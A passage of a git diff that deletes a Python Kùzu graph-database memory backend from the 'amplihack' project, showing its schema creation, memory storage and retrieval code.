async def get_stats(self) -> dict[str, Any]: - """Get database statistics. - - Returns: - Dictionary with backend statistics - - Performance: Must complete under 100ms - """ - ... - - async def close(self) -> None: - """Close backend connection and cleanup resources. - - Should be idempotent (safe to call multiple times). - """ - ... - - -__all__ = ["MemoryBackend", "BackendCapabilities"] diff --git a/src/amplihack/memory/backends/kuzu_backend.py b/src/amplihack/memory/backends/kuzu_backend.py deleted file mode 100644 index 2aeb720a2..000000000 --- a/src/amplihack/memory/backends/kuzu_backend.py +++ /dev/null @@ -1,2005 +0,0 @@ -"""Kùzu graph database backend implementation. - -Implements memory storage using Kùzu's native graph structure. - -Philosophy: -- Graph-native: Memories as nodes, relationships as edges -- Performance: <50ms retrieval, <500ms storage via Cypher queries -- Rich relationships: Session→Memory, Agent→Memory with properties -- Self-contained: All Kùzu-specific logic in this module - -Public API: - KuzuBackend: MemoryBackend implementation using Kùzu graph database - -Schema: - Nodes: - Memory (id, session_id, agent_id, memory_type, title, content, ...) - Session (session_id, created_at, last_accessed) - Agent (agent_id, name) - - Edges: - (Session)-[HAS_MEMORY]->(Memory) - (Agent)-[CREATED]->(Memory) - (Memory)-[CHILD_OF]->(Memory) # For hierarchical memories -""" - -import asyncio -import json -import logging -import time -from concurrent.futures import ThreadPoolExecutor -from datetime import datetime -from pathlib import Path -from typing import Any - -import kuzu - -from ..kuzu.code_graph import KuzuCodeGraph -from ..kuzu.connector import KuzuConnector -from ..models import MemoryEntry, MemoryQuery, MemoryType, SessionInfo -from .base import BackendCapabilities - -logger = logging.getLogger(__name__) - - -# Memory types whose schema includes expires_at column. -# Derived from CREATE TABLE statements in _initialize_sync(). -# If you add expires_at to a new memory type, add it here. -MEMORY_TYPES_WITH_EXPIRES_AT = frozenset(["EpisodicMemory", "ProspectiveMemory", "WorkingMemory"]) - - -class KuzuBackend: - """Kùzu graph database backend. - - Uses graph structure fer natural relationship modeling: - - Sessions contain memories - - Agents create memories - - Memories can reference other memories - """ - - def __init__(self, db_path: Path | str | None = None, enable_auto_linking: bool = True): - """Initialize Kùzu backend. - - Args: - db_path: Path to Kùzu database directory. Defaults to ~/.amplihack/memory_kuzu/ - enable_auto_linking: If True, automatically link memories to code on storage (default: True) - """ - if db_path is None: - db_path = Path.home() / ".amplihack" / "memory_kuzu.db" - elif isinstance(db_path, str): - db_path = Path(db_path) - - self.db_path = db_path - self.enable_auto_linking = enable_auto_linking - - # Create parent directory if needed - self.db_path.parent.mkdir(parents=True, exist_ok=True) - - # Create database connection with retry for lock contention. - # Kuzu only allows single-process access; concurrent hooks may race. - self.database = self._open_database_with_retry(self.db_path) - self.connection = kuzu.Connection(self.database) - - # Initialize code graph integration (lazy loaded) - self._code_graph: KuzuCodeGraph | None = None - - # Thread pool for async operations (4 workers for Kuzu's multi-threading) - self._executor = ThreadPoolExecutor(max_workers=4) - - @staticmethod - def _open_database_with_retry( - db_path: Path, max_retries: int = 3, base_delay: float = 0.2 - ) -> "kuzu.Database": - """Open Kuzu database with exponential backoff retry on lock contention. - - Args: - db_path: Path to Kuzu database directory - max_retries: Maximum number of retry attempts - base_delay: Initial delay in seconds (doubles each retry) - - Returns: - Open kuzu.Database instance - - Raises: - RuntimeError: If all retries fail - """ - last_error = None - for attempt in range(max_retries + 1): - try: - return kuzu.Database(str(db_path)) - except RuntimeError as e: - last_error = e - if "Could not set lock on file" not in str(e): - raise # Not a lock contention error — don't retry - if attempt < max_retries: - delay = base_delay * (2**attempt) - logger.warning( - "Kuzu DB locked (attempt %d/%d), retrying in %.1fs", - attempt + 1, - max_retries + 1, - delay, - ) - time.sleep(delay) - raise last_error # type: ignore[misc] - - def get_capabilities(self) -> BackendCapabilities: - """Get Kùzu backend capabilities.""" - return BackendCapabilities( - supports_graph_queries=True, # Native graph traversal - supports_vector_search=False, # Not yet (future: embeddings) - supports_transactions=True, # ACID transactions - supports_fulltext_search=False, # Not yet - max_concurrent_connections=10, # Multi-threaded support - backend_name="kuzu", - backend_version="0.x", - ) - - def _initialize_sync(self) -> None: - """Synchronous initialization helper for executor.""" - try: - # Create Session node table (first-class citizen) - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS Session( - session_id STRING, - start_time TIMESTAMP, - end_time TIMESTAMP, - user_id STRING, - context STRING, - status STRING, - created_at TIMESTAMP, - last_accessed TIMESTAMP, - metadata STRING, - PRIMARY KEY (session_id) - ) - """) - - # Create Agent node table - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS Agent( - agent_id STRING, - name STRING, - first_used TIMESTAMP, - last_used TIMESTAMP, - PRIMARY KEY (agent_id) - ) - """) - - # Create EpisodicMemory node table (session-specific events) - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS EpisodicMemory( - memory_id STRING, - timestamp TIMESTAMP, - content STRING, - event_type STRING, - emotional_valence DOUBLE, - importance_score DOUBLE, - title STRING, - metadata STRING, - tags STRING, - created_at TIMESTAMP, - accessed_at TIMESTAMP, - expires_at TIMESTAMP, - agent_id STRING, - PRIMARY KEY (memory_id) - ) - """) - - # Create SemanticMemory node table (cross-session knowledge) - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS SemanticMemory( - memory_id STRING, - concept STRING, - content STRING, - category STRING, - confidence_score DOUBLE, - last_updated TIMESTAMP, - version INT64, - title STRING, - metadata STRING, - tags STRING, - created_at TIMESTAMP, - accessed_at TIMESTAMP, - agent_id STRING, - PRIMARY KEY (memory_id) - ) - """) - - # Create ProceduralMemory node table (how-to knowledge) - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS ProceduralMemory( - memory_id STRING, - procedure_name STRING, - description STRING, - steps STRING, - preconditions STRING, - postconditions STRING, - success_rate DOUBLE, - usage_count INT64, - last_used TIMESTAMP, - title STRING, - content STRING, - metadata STRING, - tags STRING, - created_at TIMESTAMP, - accessed_at TIMESTAMP, - agent_id STRING, - PRIMARY KEY (memory_id) - ) - """) - - # Create ProspectiveMemory node table (future intentions) - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS ProspectiveMemory( - memory_id STRING, - intention STRING, - trigger_condition STRING, - priority STRING, - due_date TIMESTAMP, - status STRING, - scope STRING, - completion_criteria STRING, - title STRING, - content STRING, - metadata STRING, - tags STRING, - created_at TIMESTAMP, - accessed_at TIMESTAMP, - expires_at TIMESTAMP, - agent_id STRING, - PRIMARY KEY (memory_id) - ) - """) - - # Create WorkingMemory node table (active task state) - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS WorkingMemory( - memory_id STRING, - content STRING, - memory_type STRING, - priority INT64, - created_at TIMESTAMP, - ttl_seconds INT64, - title STRING, - metadata STRING, - tags STRING, - accessed_at TIMESTAMP, - expires_at TIMESTAMP, - agent_id STRING, - PRIMARY KEY (memory_id) - ) - """) - - # Create Session → Memory relationship tables - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS CONTAINS_EPISODIC( - FROM Session TO EpisodicMemory, - sequence_number INT64 - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS CONTAINS_WORKING( - FROM Session TO WorkingMemory, - activation_level DOUBLE - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS CONTRIBUTES_TO_SEMANTIC( - FROM Session TO SemanticMemory, - contribution_type STRING, - timestamp TIMESTAMP, - delta STRING - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS USES_PROCEDURE( - FROM Session TO ProceduralMemory, - timestamp TIMESTAMP, - success BOOL, - notes STRING - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS CREATES_INTENTION( - FROM Session TO ProspectiveMemory, - timestamp TIMESTAMP - ) - """) - - # Create cross-memory relationship tables - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS DERIVES_FROM( - FROM SemanticMemory TO EpisodicMemory, - extraction_method STRING, - confidence DOUBLE - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS REFERENCES( - FROM ProceduralMemory TO SemanticMemory, - reference_type STRING, - context STRING - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS TRIGGERS( - FROM ProspectiveMemory TO WorkingMemory, - trigger_time TIMESTAMP, - condition_met BOOL - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS ACTIVATES( - FROM WorkingMemory TO SemanticMemory, - activation_strength DOUBLE, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RECALLS( - FROM EpisodicMemory TO EpisodicMemory, - similarity_score DOUBLE, - recall_reason STRING - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS BUILDS_ON( - FROM ProceduralMemory TO ProceduralMemory, - relationship_type STRING - ) - """) - - # Keep Agent relationships - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS CREATED( - FROM Agent TO EpisodicMemory, - created_at TIMESTAMP - ) - """) - - # === CODE GRAPH SCHEMA (Week 1: Blarify Migration) === - # Add 3 code node types + 7 code relationships + 10 memory-code links - - # Code Node Type 1: CodeFile - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS CodeFile( - file_id STRING, - file_path STRING, - language STRING, - size_bytes INT64, - last_modified TIMESTAMP, - created_at TIMESTAMP, - metadata STRING, - PRIMARY KEY (file_id) - ) - """) - - # Code Node Type 2: Class - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS Class( - class_id STRING, - class_name STRING, - fully_qualified_name STRING, - docstring STRING, - is_abstract BOOL, - created_at TIMESTAMP, - metadata STRING, - PRIMARY KEY (class_id) - ) - """) - - # Code Node Type 3: Function - self.connection.execute(""" - CREATE NODE TABLE IF NOT EXISTS Function( - function_id STRING, - function_name STRING, - fully_qualified_name STRING, - signature STRING, - docstring STRING, - is_async BOOL, - cyclomatic_complexity INT64, - created_at TIMESTAMP, - metadata STRING, - PRIMARY KEY (function_id) - ) - """) - - # Code Relationship 1: DEFINED_IN (Class → CodeFile) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS DEFINED_IN( - FROM Class TO CodeFile, - line_number INT64, - end_line INT64 - ) - """) - - # Code Relationship 2: DEFINED_IN_FUNCTION (Function → CodeFile) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS DEFINED_IN_FUNCTION( - FROM Function TO CodeFile, - line_number INT64, - end_line INT64 - ) - """) - - # Code Relationship 3: METHOD_OF (Function → Class) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS METHOD_OF( - FROM Function TO Class, - method_type STRING, - visibility STRING - ) - """) - - # Code Relationship 4: CALLS (Function → Function) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS CALLS( - FROM Function TO Function, - call_count INT64, - context STRING - ) - """) - - # Code Relationship 5: INHERITS (Class → Class) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS INHERITS( - FROM Class TO Class, - inheritance_order INT64, - inheritance_type STRING - ) - """) - - # Code Relationship 6: IMPORTS (CodeFile → CodeFile) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS IMPORTS( - FROM CodeFile TO CodeFile, - import_type STRING, - alias STRING - ) - """) - - # Code Relationship 7: REFERENCES_CLASS (Function → Class) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS REFERENCES_CLASS( - FROM Function TO Class, - reference_type STRING, - context STRING - ) - """) - - # Code Relationship 8: CONTAINS (CodeFile → CodeFile) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS CONTAINS( - FROM CodeFile TO CodeFile, - relationship_type STRING - ) - """) - - # Memory-Code Links: RELATES_TO_FILE (5 memory types → CodeFile) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FILE_EPISODIC( - FROM EpisodicMemory TO CodeFile, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FILE_SEMANTIC( - FROM SemanticMemory TO CodeFile, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FILE_PROCEDURAL( - FROM ProceduralMemory TO CodeFile, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FILE_PROSPECTIVE( - FROM ProspectiveMemory TO CodeFile, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FILE_WORKING( - FROM WorkingMemory TO CodeFile, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - # Memory-Code Links: RELATES_TO_FUNCTION (5 memory types → Function) - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FUNCTION_EPISODIC( - FROM EpisodicMemory TO Function, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FUNCTION_SEMANTIC( - FROM SemanticMemory TO Function, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FUNCTION_PROCEDURAL( - FROM ProceduralMemory TO Function, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FUNCTION_PROSPECTIVE( - FROM ProspectiveMemory TO Function, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - self.connection.execute(""" - CREATE REL TABLE IF NOT EXISTS RELATES_TO_FUNCTION_WORKING( - FROM WorkingMemory TO Function, - relevance_score DOUBLE, - context STRING, - timestamp TIMESTAMP - ) - """) - - logger.info( - "Kùzu schema initialized successfully: 5 memory types + 3 code types (23 node tables, 28 relationship tables)" - ) - - except Exception as e: - logger.error(f"Error initializing Kùzu schema: {e}") - raise - - async def initialize(self) -> None: - """Initialize Kùzu schema with 5 memory types + 3 code types. - - Creates node and relationship tables: - - 5 memory node types (Episodic, Semantic, Procedural, Prospective, Working) - - 3 code node types (CodeFile, Class, Function) - - Session and Agent nodes - - 11 memory relationship types - - 8 code relationship types - - 10 memory-code link types - - Idempotent - safe to call multiple times. - """ - loop = asyncio.get_event_loop() - await loop.run_in_executor(self._executor, self._initialize_sync) - - def _store_memory_sync(self, memory: MemoryEntry) -> bool: - """Store a memory entry in appropriate node type based on memory_type (sync helper). - - Routes to one of 5 node types: - - EPISODIC → EpisodicMemory (session-specific events) - - SEMANTIC → SemanticMemory (cross-session knowledge) - - PROCEDURAL → ProceduralMemory (how-to knowledge) - - PROSPECTIVE → ProspectiveMemory (future intentions) - - WORKING → WorkingMemory (active task state) - - Creates appropriate relationships to Session and Agent. - - Args: - memory: Memory entry to store - - Returns: - True if successful, False otherwise - - Performance: <500ms (node + edge creation) - """ - try: - # Prepare common values - tags_str = json.dumps(memory.tags) if memory.tags else "" - importance_val = memory.importance if memory.importance is not None else 0 - now = datetime.now() - - # Route to appropriate node type based on memory_type - if memory.memory_type == MemoryType.EPISODIC: - # Create EpisodicMemory node - self.connection.execute( - """ - CREATE (m:EpisodicMemory { - memory_id: $memory_id, - timestamp: $timestamp, - content: $content, - event_type: $event_type, - emotional_valence: $emotional_valence, - importance_score: $importance_score, - title: $title, - metadata: $metadata, - tags: $tags, - created_at: $created_at, - accessed_at: $accessed_at, - expires_at: $expires_at, - agent_id: $agent_id - }) - """, - { - "memory_id": memory.id, - "timestamp": memory.created_at, - "content": memory.content, - "event_type": memory.metadata.get("event_type", "general"), - "emotional_valence": memory.metadata.get("emotional_valence", 0.0), - "importance_score": float(importance_val), - "title": memory.title, - "metadata": json.dumps(memory.metadata), - "tags": tags_str, - "created_at": memory.created_at, - "accessed_at": memory.accessed_at, - "expires_at": memory.expires_at, - "agent_id": memory.agent_id, - }, - ) - - # Create CONTAINS_EPISODIC relationship - self._create_session_node(memory.session_id, now) - self.connection.execute( - """ - MATCH (s:Session {session_id: $session_id}), (m:EpisodicMemory {memory_id: $memory_id}) - CREATE (s)-[:CONTAINS_EPISODIC {sequence_number: $sequence_number}]->(m) - """, - { - "session_id": memory.session_id, - "memory_id": memory.id, - "sequence_number": 0, # TODO: track sequence - }, - ) - - elif memory.memory_type == MemoryType.SEMANTIC: - # Create SemanticMemory node - self.connection.execute( - """ - CREATE (m:SemanticMemory { - memory_id: $memory_id, - concept: $concept, - content: $content, - category: $category, - confidence_score: $confidence_score, - last_updated: $last_updated, - version: $version, - title: $title, - metadata: $metadata, - tags: $tags, - created_at: $created_at, - accessed_at: $accessed_at, - agent_id: $agent_id - }) - """, - { - "memory_id": memory.id, - "concept": memory.title, # Use title as concept - "content": memory.content, - "category": memory.metadata.get("category", "general"), - "confidence_score": memory.metadata.get("confidence_score", 1.0), - "last_updated": memory.created_at, - "version": memory.metadata.get("version", 1), - "title": memory.title, - "metadata": json.dumps(memory.metadata), - "tags": tags_str, - "created_at": memory.created_at, - "accessed_at": memory.accessed_at, - "agent_id": memory.agent_id, - }, - ) - - # Create CONTRIBUTES_TO_SEMANTIC relationship - self._create_session_node(memory.session_id, now) - self.connection.execute( - """ - MATCH (s:Session {session_id: $session_id}), (m:SemanticMemory {memory_id: $memory_id}) - CREATE (s)-[:CONTRIBUTES_TO_SEMANTIC { - contribution_type: $contribution_type, - timestamp: $timestamp, - delta: $delta - }]->(m) - """, - { - "session_id": memory.session_id, - "memory_id": memory.id, - "contribution_type": "created", - "timestamp": now, - "delta": "initial_creation", - }, - ) - - elif memory.memory_type == MemoryType.PROCEDURAL: - # Create ProceduralMemory node - self.connection.execute( - """ - CREATE (m:ProceduralMemory { - memory_id: $memory_id, - procedure_name: $procedure_name, - description: $description, - steps: $steps, - preconditions: $preconditions, - postconditions: $postconditions, - success_rate: $success_rate, - usage_count: $usage_count, - last_used: $last_used, - title: $title, - content: $content, - metadata: $metadata, - tags: $tags, - created_at: $created_at, - accessed_at: $accessed_at, - agent_id: $agent_id - }) - """, - { - "memory_id": memory.id, - "procedure_name": memory.title, - "description": memory.content, - "steps": json.dumps(memory.metadata.get("steps", [])), - "preconditions": json.dumps(memory.metadata.get("preconditions", [])), - "postconditions": json.dumps(memory.metadata.get("postconditions", [])), - "success_rate": memory.metadata.get("success_rate", 1.0), - "usage_count": memory.metadata.get("usage_count", 0), - "last_used": memory.created_at, - "title": memory.title, - "content": memory.content, - "metadata": json.dumps(memory.metadata), - "tags": tags_str, - "created_at": memory.created_at, - "accessed_at": memory.accessed_at, - "agent_id": memory.agent_id, - }, - ) - - # Create USES_PROCEDURE relationship - self._create_session_node(memory.session_id, now) - self.connection.execute( - """ - MATCH (s:Session {session_id: $session_id}), (m:ProceduralMemory {memory_id: $memory_id}) - CREATE (s)-[:USES_PROCEDURE { - timestamp: $timestamp, - success: $success, - notes: $notes - }]->(m) - """, - { - "session_id": memory.session_id, - "memory_id": memory.id, - "timestamp": now, - "success": True, - "notes": "", - }, - ) - - elif memory.memory_type == MemoryType.PROSPECTIVE: - # Create ProspectiveMemory node - self.connection.execute( - """ - CREATE (m:ProspectiveMemory { - memory_id: $memory_id, - intention: $intention, - trigger_condition: $trigger_condition, - priority: $priority, - due_date: $due_date, - status: $status, - scope: $scope, - completion_criteria: $completion_criteria, - title: $title, - content: $content, - metadata: $metadata, - tags: $tags, - created_at: $created_at, - accessed_at: $accessed_at, - expires_at: $expires_at, - agent_id: $agent_id - }) - """, - { - "memory_id": memory.id, - "intention": memory.content, - "trigger_condition": memory.metadata.get("trigger_condition", ""), - "priority": memory.metadata.get("priority", "medium"), - "due_date": memory.expires_at, - "status": memory.metadata.get("status", "pending"), - "scope": memory.metadata.get("scope", "session"), - "completion_criteria": memory.metadata.get("completion_criteria", ""), - "title": memory.title, - "content": memory.content, - "metadata": json.dumps(memory.metadata), - "tags": tags_str, - "created_at": memory.created_at, - "accessed_at": memory.accessed_at, - "expires_at": memory.expires_at, - "agent_id": memory.agent_id, - }, - ) - - # Create CREATES_INTENTION relationship - self._create_session_node(memory.session_id, now) - self.connection.execute( - """ - MATCH (s:Session {session_id: $session_id}), (m:ProspectiveMemory {memory_id: $memory_id}) - CREATE (s)-[:CREATES_INTENTION {timestamp: $timestamp}]->(m) - """, - { - "session_id": memory.session_id, - "memory_id": memory.id, - "timestamp": now, - }, - ) - - elif memory.memory_type == MemoryType.WORKING: - # Create WorkingMemory node - self.connection.execute( - """ - CREATE (m:WorkingMemory { - memory_id: $memory_id, - content: $content, - memory_type: $memory_type, - priority: $priority, - created_at: $created_at, - ttl_seconds: $ttl_seconds, - title: $title, - metadata: $metadata, - tags: $tags, - accessed_at: $accessed_at, - expires_at: $expires_at, - agent_id: $agent_id - }) - """, - { - "memory_id": memory.id, - "content": memory.content, - "memory_type": memory.metadata.get("memory_type", "goal"), - "priority": memory.metadata.get("priority", 0), - "created_at": memory.created_at, - "ttl_seconds": memory.metadata.get("ttl_seconds", 3600), - "title": memory.title, - "metadata": json.dumps(memory.metadata), - "tags": tags_str, - "accessed_at": memory.accessed_at, - "expires_at": memory.expires_at, - "agent_id": memory.agent_id, - }, - ) - - # Create CONTAINS_WORKING relationship - self._create_session_node(memory.session_id, now) - self.connection.execute( - """ - MATCH (s:Session {session_id: $session_id}), (m:WorkingMemory {memory_id: $memory_id}) - CREATE (s)-[:CONTAINS_WORKING {activation_level: $activation_level}]->(m) - """, - { - "session_id": memory.session_id, - "memory_id": memory.id, - "activation_level": 1.0, - }, - ) - - # Create Agent node if not exists - self._create_agent_node(memory.agent_id, now) - - # Week 3: Auto-link memory to code after successful storage - if self.enable_auto_linking: - try: - self._auto_link_memory_to_code(memory) - except Exception as e: - # Don't fail memory storage if linking fails - logger.warning(f"Auto-linking failed for memory {memory.id}: {e}") - - return True - - except Exception as e: - logger.error(f"Error storing memory in Kùzu: {e}", exc_info=True) - return False - - async def store_memory(self, memory: MemoryEntry) -> bool: - """Store a memory entry in appropriate node type based on memory_type. - - Routes to one of 5 node types: - - EPISODIC → EpisodicMemory (session-specific events) - - SEMANTIC → SemanticMemory (cross-session knowledge) - - PROCEDURAL → ProceduralMemory (how-to knowledge) - - PROSPECTIVE → ProspectiveMemory (future intentions) - - WORKING → WorkingMemory (active task state) - - Creates appropriate relationships to Session and Agent. - - Args: - memory: Memory entry to store - - Returns: - True if successful, False otherwise - - Performance: <500ms (node + edge creation) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._store_memory_sync, memory) - - def _create_session_node(self, session_id: str, timestamp: datetime) -> None: - """Create or update Session node.""" - self.connection.execute( - """ - MERGE (s:Session {session_id: $session_id}) - ON CREATE SET - s.start_time = $start_time, - s.created_at = $created_at, - s.last_accessed = $last_accessed, - s.status = $status, - s.metadata = $metadata - ON MATCH SET - s.last_accessed = $last_accessed - """, - { - "session_id": session_id, - "start_time": timestamp, - "created_at": timestamp, - "last_accessed": timestamp, - "status": "active", - "metadata": "{}", - }, - ) - - def _create_agent_node(self, agent_id: str, timestamp: datetime) -> None: - """Create or update Agent node.""" - self.connection.execute( - """ - MERGE (a:Agent {agent_id: $agent_id}) - ON CREATE SET - a.name = $name, - a.first_used = $first_used, - a.last_used = $last_used - ON MATCH SET - a.last_used = $last_used - """, - { - "agent_id": agent_id, - "name": agent_id, - "first_used": timestamp, - "last_used": timestamp, - }, - ) - - def _retrieve_memories_sync(self, query: MemoryQuery) -> list[MemoryEntry]: - """Retrieve memories matching the query (sync helper). - - Uses Cypher queries fer graph traversal across all 5 memory node types. - - Args: - query: Query parameters - - Returns: - List of matching memory entries - - Performance: <50ms (indexed lookups) - """ - try: - memories = [] - - # If memory_type specified, query only that node type - if query.memory_type: - node_label = self._get_node_label_for_type(query.memory_type) - memories = self._query_memories_by_type(query, node_label) - else: - # Query all 5 node types and combine results - for memory_type in [ - MemoryType.EPISODIC, - MemoryType.SEMANTIC, - MemoryType.PROCEDURAL, - MemoryType.PROSPECTIVE, - MemoryType.WORKING, - ]: - node_label = self._get_node_label_for_type(memory_type) - type_memories = self._query_memories_by_type(query, node_label) - memories.extend(type_memories) - - # Sort combined results - memories.sort(key=lambda m: (m.accessed_at, m.importance or 0), reverse=True) - - # Apply limit/offset after combining - if query.offset: - memories = memories[query.offset :] - if query.limit: - memories = memories[: query.limit] - - return memories - - except Exception as e: - logger.error(f"Error retrieving memories from Kùzu: {e}") - return [] - - async def retrieve_memories(self, query: MemoryQuery) -> list[MemoryEntry]: - """Retrieve memories matching the query. - - Uses Cypher queries fer graph traversal across all 5 memory node types. - - Args: - query: Query parameters - - Returns: - List of matching memory entries - - Performance: <50ms (indexed lookups) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._retrieve_memories_sync, query) - - def _get_node_label_for_type(self, memory_type: MemoryType) -> str: - """Map MemoryType to node label.""" - type_to_label = { - MemoryType.EPISODIC: "EpisodicMemory", - MemoryType.SEMANTIC: "SemanticMemory", - MemoryType.PROCEDURAL: "ProceduralMemory", - MemoryType.PROSPECTIVE: "ProspectiveMemory", - MemoryType.WORKING: "WorkingMemory", - } - return type_to_label.get(memory_type, "Memory") # Fallback to legacy - - def _query_memories_by_type(self, query: MemoryQuery, node_label: str) -> list[MemoryEntry]: - """Query memories from a specific node type.""" - # Build WHERE conditions - where_conditions = [] - params = {} - - if query.agent_id: - where_conditions.append("m.agent_id = $agent_id") - params["agent_id"] = query.agent_id - - if query.min_importance: - where_conditions.append("m.importance >= $min_importance") - params["min_importance"] = query.min_importance - - if query.created_after: - where_conditions.append("m.created_at >= $created_after") - params["created_after"] = query.created_after - - if query.created_before: - where_conditions.append("m.created_at <= $created_before") - params["created_before"] = query.created_before - - if not query.include_expired and node_label in MEMORY_TYPES_WITH_EXPIRES_AT: - where_conditions.append("(m.expires_at IS NULL OR m.expires_at > $now)") - params["now"] = datetime.now() - - # Build WHERE clause - where_clause = " AND ".join(where_conditions) if where_conditions else "TRUE" - - # Build Cypher query - cypher = f""" - MATCH (m:{node_label}) - WHERE {where_clause} - RETURN m - ORDER BY m.accessed_at DESC - """ - - # Only apply limit/offset if querying single type - if query.memory_type and query.limit: - cypher += " LIMIT $limit" - params["limit"] = query.limit - if query.offset: - cypher += " SKIP $offset" - params["offset"] = query.offset - - # Execute query - try: - result = self.connection.execute(cypher, params) - except Exception as e: - if "does not exist" in str(e): - # Table not yet created (e.g. DB has code graph schema only) - return [] - raise - - # Convert to MemoryEntry objects - memories = [] - while result.has_next(): - row = result.get_next() - memory_node = row[0] - - # Determine memory type from node label - memory_type = self._get_memory_type_from_label(node_label) - - # Parse node properties - memory = MemoryEntry( - id=memory_node["memory_id"], - session_id=memory_node.get("session_id", "unknown"), - agent_id=memory_node["agent_id"], - memory_type=memory_type, - title=memory_node["title"], - content=memory_node["content"], - metadata=json.loads(memory_node["metadata"]) if memory_node.get("metadata") else {}, - tags=json.loads(memory_node["tags"]) if memory_node.get("tags") else None, - importance=memory_node.get("importance"), - created_at=memory_node["created_at"], - accessed_at=memory_node["accessed_at"], - expires_at=memory_node.get("expires_at"), - parent_id=memory_node.get("parent_id"), - ) - memories.append(memory) - - # Update access times for retrieved memories - now = datetime.now() - for memory in memories: - try: - self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}}) - SET m.accessed_at = $now - """, - {"memory_id": memory.id, "now": now}, - ) - except Exception as e: - logger.warning(f"Could not update access time for {memory.id}: {e}") - - return memories - - def _get_memory_type_from_label(self, node_label: str) -> MemoryType: - """Map node label back to MemoryType.""" - label_to_type = { - "EpisodicMemory": MemoryType.EPISODIC, - "SemanticMemory": MemoryType.SEMANTIC, - "ProceduralMemory": MemoryType.PROCEDURAL, - "ProspectiveMemory": MemoryType.PROSPECTIVE, - "WorkingMemory": MemoryType.WORKING, - } - return label_to_type.get(node_label, MemoryType.EPISODIC) # Default fallback - - def _get_memory_by_id_sync(self, memory_id: str) -> MemoryEntry | None: - """Get a specific memory by ID (sync helper). - - Searches across all 5 node types to find the memory. - - Args: - memory_id: Unique memory identifier - - Returns: - Memory entry if found, None otherwise - - Performance: <50ms (primary key lookup) - """ - try: - # Try each node type until we find the memory - for memory_type in [ - MemoryType.EPISODIC, - MemoryType.SEMANTIC, - MemoryType.PROCEDURAL, - MemoryType.PROSPECTIVE, - MemoryType.WORKING, - ]: - node_label = self._get_node_label_for_type(memory_type) - - result = self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}}) - RETURN m - """, - {"memory_id": memory_id}, - ) - - if result.has_next(): - row = result.get_next() - memory_node = row[0] - - # Update access time - now = datetime.now() - self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}}) - SET m.accessed_at = $now - """, - {"memory_id": memory_id, "now": now}, - ) - - # Parse to MemoryEntry - return MemoryEntry( - id=memory_node["memory_id"], - session_id=memory_node.get("session_id", "unknown"), - agent_id=memory_node["agent_id"], - memory_type=memory_type, - title=memory_node["title"], - content=memory_node["content"], - metadata=json.loads(memory_node["metadata"]) - if memory_node.get("metadata") - else {}, - tags=json.loads(memory_node["tags"]) if memory_node.get("tags") else None, - importance=memory_node.get("importance"), - created_at=memory_node["created_at"], - accessed_at=memory_node["accessed_at"], - expires_at=memory_node.get("expires_at"), - parent_id=memory_node.get("parent_id"), - ) - - # Memory not found in any node type - return None - - except Exception as e: - logger.error(f"Error getting memory by ID from Kùzu: {e}") - return None - - async def get_memory_by_id(self, memory_id: str) -> MemoryEntry | None: - """Get a specific memory by ID. - - Searches across all 5 node types to find the memory. - - Args: - memory_id: Unique memory identifier - - 